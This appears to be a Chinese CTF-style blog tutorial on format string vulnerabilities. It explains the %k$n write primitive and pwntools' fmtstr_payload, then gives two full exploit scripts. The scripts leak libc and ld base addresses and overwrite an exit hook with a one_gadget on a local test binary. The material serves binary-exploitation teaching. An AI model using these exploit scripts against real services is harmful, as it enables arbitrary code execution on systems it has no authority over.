格式化字符串覆盖内存

Chiu Lv4

覆盖内存的原理是 %k$n 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。

注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。

pwntools生成payload

对于格式化字符串payload,pwntools也提供了一个可以直接使用的类Fmtstr,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html,
我们较常使用的功能是

1
fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
  • offset表示格式化字符串的偏移
  • numbwritten表示已经输出的字符个数
  • write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

注意:部分题目会限制时间,导致pwntools生成的payload失效。一般这一类题目可以通过仅修改低地址等操作减小输出长度,这时需要手动构造payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%p%5$p")

elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts']))
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
exit_hook = ld_base + 0x2ef70
gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()

p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook: one_gadget}))
p.sendafter("please input:\n", "exit\x00")
p.interactive()

手动构造payload

覆盖小数字

对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。

以数字2为例:aa%k$n[padding][addr]

覆盖大数字

直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn按字节写或hn按双字写。

hhn写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn (32位可以把addr放在前面,因为地址不会包含\x00,而64位地址放在前面会零截断,所以把地址放最后面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%p%5$p")

elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts']))
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))

gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()

payload = ''
payload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF, 11)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF, 12)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

p.sendafter("please input:\n", payload)
p.sendafter("please input:\n", "exit\x00")
p.interactive()
  • Title: 格式化字符串覆盖内存
  • Author: Chiu
  • Created at : 2024-07-31 13:47:38
  • Updated at : 2024-07-31 13:48:13
  • Link: https://github.com/Idealist17/github.io/2024/07/31/格式化字符串覆盖内存/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments